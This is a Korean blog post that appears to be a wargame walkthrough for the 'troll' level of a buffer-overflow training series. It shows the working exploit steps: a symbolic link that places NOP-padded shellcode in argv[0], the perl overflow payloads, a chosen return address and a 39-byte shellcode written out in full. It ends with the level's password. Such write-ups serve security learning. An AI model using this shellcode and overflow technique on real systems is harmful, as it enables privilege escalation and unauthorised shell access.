심심해서 하는 블로그 :: '버퍼오퍼플로우' 태그의 글 목록

'버퍼오퍼플로우'에 해당되는 글 1건

1. 취약점


드디어 이 때까지 argv[2]를 활용한 공격을 한 것의 대응책을 가지고 왔다.

애초에 2개이상의 매개변수를 받지 않는데다가 argv[1]은 프로그램 종료시에 0으로 초기화한다.

하지만 우리는 이 전 라운드로 심볼릭 링크를 이용하면 argv[0]을 변경할 수 있다는 걸 알게 되었다.

이번 공략은 argv[0]에 쉘 코드를 올리는 것이 중요하다  


2. Exploit

1. bash2를 사용하고 troll.c 파일을 /tmp 폴더에 복사한 후 /tmp로 이동한다 

$ bash2

$ cp orge.c /tmp/troll.c && cd /tmp


2. argv[0] 시작 주소를 알기 위해 소스 코드를 변경한 후 gcc로 컴파일을 한 후 실행한다.  

$ vi ./troll.c

$ gcc -g -o troll troll.c



gdb로 주소를 얻어서 해결하는 과정에서 nop가 있는 주소를 새로운 Return Address로 했는데 Segmentation Falut만 자꾸 뜬다. 그래서 소스코드를 수정해서 argv[0]의 주소를 얻어오는게 더 낫겠다고 생각이 들었다. 


$ ./troll  `perl -e 'print "A"x 44, "\xbf"x4'`



실행 파일의 파일명 크기에 따라서  argv[0]의 크기가 달라지는 점을 고려해서 nop구간의 시작 부분은 대략 현재주소 +30 ~ +80으로  추정된다. (파일명 길이차이 +5,  A +20, nop 갯수 +50)

따라서 new Return Address는 0xbffffc5c 로 지정하였다. 


3. 쉘코드를 만들거나 웹에서 주어온다♥

\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3

 

심볼릭 링크를 사용할 경우 /x2f 즉 "/" 가 있으면 안된다.. /는 리눅스 경로 개념이므로 파일 이름으로는 부적합하기 때문이다. 따라서 구글에서 "2f없는 쉘코드"를 찾으면 몇몇 사이트가 알려준다. (구글링은 사랑이쥬)

이번 쉘 코드의 크기는 39byte이다



7. 괴.. 괴롭혀 주겠다...

(gdb) q

$ cd ~

$ ln -s ./troll `perl -e 'print "A"x20, "\x90"x50, "[쉘 코드]"'`

$ ./A [Tab키] `perl -e 'print "A"x44, "\x5c\xfc\xff\xbf"'`



8. 결과

   id :  troll   passwd : aspirin

,